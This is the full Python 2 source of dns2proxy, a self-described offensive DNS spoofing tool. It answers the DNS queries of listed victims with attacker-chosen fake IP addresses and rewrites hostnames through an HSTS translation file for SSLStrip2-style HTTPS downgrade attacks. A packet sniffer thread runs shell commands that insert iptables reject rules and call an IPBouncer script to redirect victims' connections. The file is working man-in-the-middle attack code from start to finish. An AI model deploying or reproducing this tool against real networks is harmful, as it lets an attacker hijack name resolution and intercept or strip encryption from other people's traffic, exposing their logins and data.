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dns2proxy.py
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#!/usr/bin/python
'''
dns2proxy for offensive cybersecurity v2.0 (HSTS special)
python dns2proxy.py -h for Usage.
Example:
python dns2proxy.py -i eth0 -u 192.168.1.101 -d 192.168.1.200
Example for no forwarding (only configured domain based queries and spoofed hosts):
python2.6 dns2proxy.py -i eth0 -noforward
Example for no forwarding but add IPs
python dns2proxy.py -i eth0 -I 192.168.1.101,90.1.1.1,155.54.1.1 -noforward
Author: Leonardo Nve ( [email protected])
'''
import dns.message
import dns.rrset
import dns.resolver
import socket
import numbers
import threading
from struct import *
import datetime
import os
import signal
import errno
from time import sleep
import argparse
import json
import sys
consultas = {}
spoof = {}
dominios = {}
nospoof = []
nospoofto = []
victims = []
LOGREQFILE = "dnslog.txt"
LOGSNIFFFILE = "snifflog.txt"
LOGALERTFILE = "dnsalert.txt"
RESOLVCONF = "resolv.conf"
victim_file = "victims.cfg"
nospoof_file = "nospoof.cfg"
nospoofto_file = "nospoofto.cfg"
specific_file = "spoof.cfg"
dominios_file = "domains.cfg"
parser = argparse.ArgumentParser()
parser.add_argument("-N", "--noforward", help="DNS Fowarding OFF (default ON)", action="store_true")
parser.add_argument("-i", "--interface", help="Interface to use", default="eth0")
parser.add_argument("-u", "--ip1", help="First IP to add at the response", default=None)
parser.add_argument("-d", "--ip2", help="Second IP to add at the response", default=None)
parser.add_argument("-I", "--ips", help="List of IPs to add after ip1,ip2 separated with commas", default=None)
parser.add_argument("-S", "--silent", help="Silent mode", action="store_true")
parser.add_argument("-A", "--adminIP", help="Administrator IP for no filtering", default="192.168.0.1")
parser.add_argument("-t", "--hsts", help="HSTS translate file", default="hsts.cfg")
args = parser.parse_args()
debug = not args.silent
dev = args.interface
adminip = args.adminIP
ip1 = args.ip1
ip2 = args.ip2
Forward = not args.noforward
translate_file = args.hsts
hsts_dictionary = {}
fake_ips = []
# List of of ips
if args.ips is not None:
for ip in args.ips.split(","):
fake_ips.append(ip)
Resolver = dns.resolver.Resolver()
######################
# GENERAL SECTION #
######################
def save_req(lfile, str):
f = open(lfile, "a")
f.write(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") + ' ' + str)
f.close()
def SIGUSR1_handle(signalnum, frame):
global noserv
global Resolver
noserv = 0
DEBUGLOG('Reconfiguring....')
process_files()
Resolver.reset()
Resolver.read_resolv_conf(RESOLVCONF)
return
def process_files():
global nospoof
global spoof
global nospoof_file
global specific_file
global dominios_file
global dominios
global nospoofto_file
global translate_file
global hsts_dictionary
for i in nospoof[:]:
nospoof.remove(i)
for i in nospoofto[:]:
nospoofto.remove(i)
for i in victims[:]:
victims.remove(i)
dominios.clear()
spoof.clear()
hsts_dictionary.clear()
hsts_dictionary = json.loads(open(translate_file, "r").read())['general']
for entry in hsts_dictionary:
DEBUGLOG('Conversion: %s to %s'%(entry, hsts_dictionary[entry]))
nsfile = open(nospoof_file, 'r')
for line in nsfile:
if line[0] == '#':
continue
h = line.split()
if len(h) > 0:
DEBUGLOG('Non spoofing ' + h[0])
nospoof.append(h[0])
nsfile.close()
nsfile = open(victim_file, 'r')
for line in nsfile:
if line[0] == '#':
continue
h = line.split()
if len(h) > 0:
DEBUGLOG('Spoofing only to ' + h[0])
victims.append(h[0])
nsfile.close()
nsfile = open(nospoofto_file, 'r')
for line in nsfile:
if line[0] == '#':
continue
h = line.split()
if len(h) > 0:
DEBUGLOG('Non spoofing to ' + h[0])
nospoofto.append(h[0])
nsfile.close()
nsfile = open(specific_file, 'r')
for line in nsfile:
if line[0] == '#':
continue
h = line.split()
if len(h) > 1:
DEBUGLOG('Specific host spoofing ' + h[0] + ' with ' + h[1])
spoof[h[0]] = h[1]
nsfile.close()
nsfile = open(dominios_file, 'r')
for line in nsfile:
if line[0] == '#':
continue
h = line.split()
if len(h) > 1:
DEBUGLOG('Specific domain IP ' + h[0] + ' with ' + h[1])
dominios[h[0]] = h[1]
nsfile.close()
return
def DEBUGLOG(str):
global debug
if debug:
print str
sys.stdout.flush()
return
def handler_msg(id):
#os.popen('/usr/bin/sendTelegramMsg.sh leo_leo " Alert document %s" > /dev/null 2> /dev/null &'%id)
return
######################
# SNIFFER SECTION #
######################
class ThreadSniffer(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
def run(self):
#DEBUGLOG( self.getName(), " Sniffer Waiting connections....")
go()
def go():
global ip1
global dev
import pcapy
bpffilter = "dst host %s and not src host %s and !(tcp dst port 80 or tcp dst port 443) and (not host %s)" % (
ip1, ip1, adminip)
cap = pcapy.open_live(dev, 255, 1, 0)
cap.setfilter(bpffilter)
DEBUGLOG( "Starting sniffing in (%s = %s)...." % (dev, ip1))
#start sniffing packets
while True:
try:
(header, packet) = cap.next()
parse_packet(packet)
except:
pass
#DEBUGLOG( ('%s: captured %d bytes, truncated to %d bytes' %(datetime.datetime.now(), header.getlen(), header.getcaplen())))
#function to parse a packet
def parse_packet(packet):
eth_length = 14
eth_protocol = 8
global ip1
global consultas
global ip2
#Parse IP packets, IP Protocol number = 8
if eth_protocol == 8:
#Parse IP header
#take first 20 characters for the ip header
ip_header = packet[eth_length:20 + eth_length]
#now unpack them :)
iph = unpack('!BBHHHBBH4s4s', ip_header)
version_ihl = iph[0]
#version = version_ihl >> 4
ihl = version_ihl & 0xF
iph_length = ihl * 4
#ttl = iph[5]
protocol = iph[6]
s_addr = socket.inet_ntoa(iph[8])
d_addr = socket.inet_ntoa(iph[9])
#TCP protocol
if protocol == 6:
t = iph_length + eth_length
tcp_header = packet[t:t + 20]
#now unpack them :)
tcph = unpack('!HHLLBBHHH', tcp_header)
source_port = tcph[0]
dest_port = tcph[1]
# sequence = tcph[2]
# acknowledgement = tcph[3]
# doff_reserved = tcph[4]
# tcph_length = doff_reserved >> 4
if consultas.has_key(str(s_addr)):
DEBUGLOG(' ==> Source Address : ' + str(s_addr) + ' * Destination Address : ' + str(d_addr))
DEBUGLOG(' Source Port : ' + str(source_port) + ' * Dest Port : ' + str(dest_port))
# print '>>>> '+str(s_addr)+' esta en la lista!!!!.....'
comando = 'sh ./IPBouncer.sh %s %s %s %s' % (
ip2, str(dest_port), consultas[str(s_addr)], str(dest_port))
os.system(comando)
#print '>>>> ' + comando
comando = '/sbin/iptables -D INPUT -p tcp -d %s --dport %s -s %s --sport %s --j REJECT --reject-with tcp-reset' % (
ip1, str(dest_port), str(s_addr), str(source_port))
os.system(comando)
comando = '/sbin/iptables -A INPUT -p tcp -d %s --dport %s -s %s --sport %s --j REJECT --reject-with tcp-reset' % (
ip1, str(dest_port), str(s_addr), str(source_port))
os.system(comando)
#print '>>>> ' + comando
#UDP packets
elif protocol == 17:
u = iph_length + eth_length
#udph_length = 8
#udp_header = packet[u:u + 8]
#now unpack them :)
#udph = unpack('!HHHH', udp_header)
#source_port = udph[0]
#dest_port = udph[1]
#length = udph[2]
#checksum = udph[3]
#DEBUGLOG('Source Port : ' + str(source_port) + ' Dest Port : ' + str(dest_port) + ' Length : ' + str(length) + ' Checksum : ' + str(checksum))
#h_size = eth_length + iph_length + udph_length
#data_size = len(packet) - h_size
#get data from the packet
#data = packet[h_size:]
######################
# DNS SECTION #
######################
def respuestas(name, type):
global Resolver
DEBUGLOG('Query = ' + name + ' ' + type)
try:
answers = Resolver.query(name, type)
except Exception, e:
DEBUGLOG('Exception...')
return 0
return answers
def requestHandler(address, message):
resp = None
dosleep = False
try:
message_id = ord(message[0]) * 256 + ord(message[1])
DEBUGLOG('msg id = ' + str(message_id))
if message_id in serving_ids:
DEBUGLOG('I am already serving this request.')
return
serving_ids.append(message_id)
DEBUGLOG('Client IP: ' + address[0])
prov_ip = address[0]
try:
msg = dns.message.from_wire(message)
try:
op = msg.opcode()
if op == 0:
# standard and inverse query
qs = msg.question
if len(qs) > 0:
q = qs[0]
DEBUGLOG('request is ' + str(q))
save_req(LOGREQFILE, 'Client IP: ' + address[0] + ' request is ' + str(q) + '\n')
if q.rdtype == dns.rdatatype.A:
DEBUGLOG('Doing the A query....')
resp, dosleep = std_A_qry(msg, prov_ip)
elif q.rdtype == dns.rdatatype.PTR:
#DEBUGLOG('Doing the PTR query....')
resp = std_PTR_qry(msg)
elif q.rdtype == dns.rdatatype.MX:
DEBUGLOG('Doing the MX query....')
resp = std_MX_qry(msg)
elif q.rdtype == dns.rdatatype.TXT:
#DEBUGLOG('Doing the TXT query....')
resp = std_TXT_qry(msg)
elif q.rdtype == dns.rdatatype.AAAA:
#DEBUGLOG('Doing the AAAA query....')
resp = std_AAAA_qry(msg)
else:
# not implemented
resp = make_response(qry=msg, RCODE=4) # RCODE = 4 Not Implemented
else:
# not implemented
resp = make_response(qry=msg, RCODE=4) # RCODE = 4 Not Implemented
except Exception, e:
DEBUGLOG('got ' + repr(e))
resp = make_response(qry=msg, RCODE=2) # RCODE = 2 Server Error
DEBUGLOG('resp = ' + repr(resp.to_wire()))
except Exception, e:
DEBUGLOG('got ' + repr(e))
resp = make_response(id=message_id, RCODE=1) # RCODE = 1 Format Error
DEBUGLOG('resp = ' + repr(resp.to_wire()))
except Exception, e:
# message was crap, not even the ID
DEBUGLOG('got ' + repr(e))
if resp:
s.sendto(resp.to_wire(), address)
if dosleep: sleep(1) # Performance downgrade no tested jet
def std_PTR_qry(msg):
qs = msg.question
DEBUGLOG( str(len(qs)) + ' questions.')
iparpa = qs[0].to_text().split(' ', 1)[0]
DEBUGLOG('Host: ' + iparpa)
resp = make_response(qry=msg)
hosts = respuestas(iparpa[:-1], 'PTR')
if isinstance(hosts, numbers.Integral):
DEBUGLOG('No host....')
resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN
return resp
for host in hosts:
DEBUGLOG('Adding ' + host.to_text())
rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.PTR, host.to_text())
resp.answer.append(rrset)
return resp
def std_MX_qry(msg):
qs = msg.question
DEBUGLOG(str(len(qs)) + ' questions.')
iparpa = qs[0].to_text().split(' ', 1)[0]
DEBUGLOG('Host: ' + iparpa)
resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN
return resp
#Temporal disable MX responses
resp = make_response(qry=msg)
hosts = respuestas(iparpa[:-1], 'MX')
if isinstance(hosts, numbers.Integral):
DEBUGLOG('No host....')
resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN
return resp
for host in hosts:
DEBUGLOG('Adding ' + host.to_text())
rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.MX, host.to_text())
resp.answer.append(rrset)
return resp
def std_TXT_qry(msg):
qs = msg.question
print str(len(qs)) + ' questions.'
iparpa = qs[0].to_text().split(' ', 1)[0]
print 'Host: ' + iparpa
resp = make_response(qry=msg)
host = iparpa[:-1]
punto = host.find(".")
dominio = host[punto:]
host = "."+host
spfresponse = ''
if (dominio in dominios) or (host in dominios):
ttl = 1
DEBUGLOG('Alert domain! (TXT) ID: ' + host)
# Here the HANDLE!
#os.popen("python /yowsup/yowsup-cli -c /yowsup/config -s <number> \"Host %s\nIP %s\" > /dev/null &"%(id,prov_ip));
save_req(LOGALERTFILE, 'Alert domain! (TXT) ID: ' + host+ '\n')
if host in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%host
if dominio in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%dominio
DEBUGLOG('Responding with SPF = ' + spfresponse)
rrset = dns.rrset.from_text(iparpa, ttl, dns.rdataclass.IN, dns.rdatatype.TXT, spfresponse)
resp.answer.append(rrset)
return resp
hosts = respuestas(iparpa[:-1], 'TXT')
if isinstance(hosts, numbers.Integral):
print 'No host....'
resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN
return resp
for host in hosts:
print 'Adding ' + host.to_text()
rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.TXT, host.to_text())
resp.answer.append(rrset)
return resp
def std_SPF_qry(msg):
qs = msg.question
print str(len(qs)) + ' questions.'
iparpa = qs[0].to_text().split(' ', 1)[0]
print 'Host: ' + iparpa
resp = make_response(qry=msg)
# host = iparpa[:-1]
# punto = host.find(".")
# dominio = host[punto:]
# host = "."+host
# if (dominio in dominios) or (host in dominios):
# ttl = 1
# DEBUGLOG('Alert domain! (TXT) ID: ' + host)
# # Here the HANDLE!
# #os.popen("python /yowsup/yowsup-cli -c /yowsup/config -s <number> \"Host %s\nIP %s\" > /dev/null &"%(id,prov_ip));
# save_req(LOGALERTFILE, 'Alert domain! (TXT) ID: ' + host+ '\n')
# if host in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%host
# if dominio in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%dominio
# DEBUGLOG('Responding with SPF = ' + spfresponse)
# rrset = dns.rrset.from_text(iparpa, ttl, dns.rdataclass.IN, dns.rdatatype.TXT, spfresponse)
# resp.answer.append(rrset)
# return resp
hosts = respuestas(iparpa[:-1], 'SPF')
if isinstance(hosts, numbers.Integral):
print 'No host....'
resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN
return resp
for host in hosts:
print 'Adding ' + host.to_text()
rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.SPF, host.to_text())
resp.answer.append(rrset)
return resp
def std_AAAA_qry(msg):
DEBUGLOG('Request AAAA disabled....')
resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN
return resp
#qs = msg.question
# DEBUGLOG(str(len(qs)) + ' questions.')
# iparpa = qs[0].to_text().split(' ', 1)[0]
# DEBUGLOG('Host: ' + iparpa)
# resp = make_response(qry=msg)
# hosts = respuestas(iparpa[:-1], 'AAAA')
#
#
# if isinstance(hosts, numbers.Integral):
# DEBUGLOG('No host....')
# resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN
# return resp
#
# for host in hosts:
# DEBUGLOG('Adding ' + host.to_text())
# rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.AAAA, host.to_text())
# resp.answer.append(rrset)
#
# return resp
def std_A_qry(msg, prov_ip):
global consultas
global ip1
global ip2
global fake_ips
dosleep = False
qs = msg.question
DEBUGLOG(str(len(qs)) + ' questions.')
resp = make_response(qry=msg)
ips = []
for q in qs:
qname = q.name.to_text()[:-1]
DEBUGLOG('q name = ' + qname)
host = qname.lower()
dom1 = None
punto1 = host.rfind(".")
punto2 = host.rfind(".", 0, punto1-1)
if punto1 > -1:
dom1 = host[punto1:]
if punto2 > -1:
dominio = host[punto2:]
else:
dominio = "."+host
# punto = host.find(".")
# dominio = host[punto:]
if (dominio in dominios) or (dom1 in dominios):
ttl = 1
id = host[:punto2]
if dom1 in dominios:
id = host[:punto1]
dominio = dom1
if not id == 'www':
DEBUGLOG('Alert domain! ID: ' + id)
# Here the HANDLE!
#os.popen("python /yowsup/yowsup-cli -c /yowsup/config -s <number> \"Host %s\nIP %s\" > /dev/null &"%(id,prov_ip));
handler_msg(id)
save_req(LOGALERTFILE, 'Alert domain! ID: ' + id + '\n')
DEBUGLOG('Responding with IP = ' + dominios[dominio])
rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, dominios[dominio])
resp.answer.append(rrset)
return resp, dosleep
if ".%s"%host in dominios:
dominio = ".%s"%host
ttl = 1
DEBUGLOG('Responding with IP = ' + dominios[dominio])
rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, dominios[dominio])
resp.answer.append(rrset)
return resp, dosleep
#print dominio[1:]
if qname.lower() not in spoof:
# SSLSTRIP2 transformation
host2 = qname.lower()
#DEBUGLOG('Pre Cambio: %s'%host2)
for entry in hsts_dictionary:
host2 = host2.replace(hsts_dictionary[entry],entry)
#DEBUGLOG('Cambio ( %s , %s ) : %s' % (entry, hsts_dictionary[entry], host2))
#DEBUGLOG('SSLStrip transforming host: %s => %s ...' % (host, host2))
ips = respuestas(host2, 'A')
#print '>>> Victim: %s Answer 0: %s'%(prov_ip,prov_resp)
if isinstance(ips, numbers.Integral):
DEBUGLOG('No host....')
resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN
return resp, dosleep
prov_resp = ips[0]
consultas[prov_ip] = prov_resp
ttl = 1
if (host not in nospoof) and (prov_ip not in nospoofto) and (len(victims) == 0 or prov_ip in victims):
if host in spoof:
save_req(LOGREQFILE, '!!! Specific host (' + host + ') asked....\n')
DEBUGLOG('!!! Specific host (' + host + ') asked....\n')
rrset = dns.rrset.from_text(q.name, 1000, dns.rdataclass.IN, dns.rdatatype.A, spoof[host])
resp.answer.append(rrset)
for spoof_ip in spoof[host].split(","):
DEBUGLOG('Adding fake IP = ' + spoof_ip)
rrset = dns.rrset.from_text(q.name, 1000, dns.rdataclass.IN, dns.rdatatype.A, spoof_ip)
resp.answer.append(rrset)
return resp, dosleep
elif Forward:
consultas[prov_ip] = prov_resp
#print 'DEBUG: Adding consultas[%s]=%s'%(prov_ip,prov_resp)
if ip1 is not None:
rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, ip1)
DEBUGLOG('Adding fake IP = ' + ip1)
resp.answer.append(rrset)
if ip2 is not None:
#Sleep only when using global resquest matrix
dosleep = True
rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, ip2)
DEBUGLOG('Adding fake IP = ' + ip2)
resp.answer.append(rrset)
if len(fake_ips)>0:
for fip in fake_ips:
rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, fip)
DEBUGLOG('Adding fake IP = ' + fip)
resp.answer.append(rrset)
if not Forward and prov_ip not in nospoofto:
if len(fake_ips) == 0:
DEBUGLOG('No forwarding....')
resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN
elif len(fake_ips) > 0:
DEBUGLOG('No forwarding (but adding fake IPs)...')
for fip in fake_ips:
rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, fip)
DEBUGLOG('Adding fake IP = ' + fip)
resp.answer.append(rrset)
return resp, dosleep
for realip in ips:
DEBUGLOG('Adding real IP = ' + realip.to_text())
rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, realip.to_text())
resp.answer.append(rrset)
return resp, dosleep
# def std_A2_qry(msg):
# qs = msg.question
# DEBUGLOG(str(len(qs)) + ' questions.')
# iparpa = qs[0].to_text().split(' ',1)[0]
# print 'Host: '+ iparpa
# resp = make_response(qry=msg)
# rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.A, '4.4.45.4')
# resp.answer.append(rrset)
# return resp
def std_ASPOOF_qry(msg):
global spoof
qs = msg.question
DEBUGLOG(str(len(qs)) + ' questions.')
iparpa = qs[0].to_text().split(' ', 1)[0]
DEBUGLOG('Host: ' + iparpa)
resp = make_response(qry=msg)
for q in qs:
qname = q.name.to_text()[:-1]
DEBUGLOG('q name = ' + qname) + ' to resolve ' + spoof[qname]
# rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.facebook.com.')
# resp.answer.append(rrset)
# rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.yahoo.com.')
# resp.answer.append(rrset)
# rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.tuenti.com.')
# resp.answer.append(rrset)
# rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.twitter.com.')
# resp.answer.append(rrset)
rrset = dns.rrset.from_text(q.name, 1000, dns.rdataclass.IN, dns.rdatatype.A, spoof[qname])
resp.answer.append(rrset)
return resp
def make_response(qry=None, id=None, RCODE=0):
if qry is None and id is None:
raise Exception, 'bad use of make_response'
if qry is None:
resp = dns.message.Message(id)
# QR = 1
resp.flags |= dns.flags.QR
if RCODE != 1:
raise Exception, 'bad use of make_response'
else:
resp = dns.message.make_response(qry)
resp.flags |= dns.flags.AA
resp.flags |= dns.flags.RA
resp.set_rcode(RCODE)
return resp
process_files()
Resolver.reset()
Resolver.read_resolv_conf(RESOLVCONF)
signal.signal(signal.SIGUSR1, SIGUSR1_handle)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('', 53))
if Forward:
DEBUGLOG('DNS Forwarding activado....')
else:
DEBUGLOG('DNS Forwarding desactivado....')
DEBUGLOG('binded to UDP port 53.')
serving_ids = []
noserv = True
if ip1 is not None and ip2 is not None and Forward:
sniff = ThreadSniffer()
sniff.start()
while True:
if noserv:
DEBUGLOG('waiting requests.')
try:
message, address = s.recvfrom(1024)
noserv = True
except socket.error as (code, msg):
if code != errno.EINTR:
raise
if noserv:
DEBUGLOG('serving a request.')
requestHandler(address, message)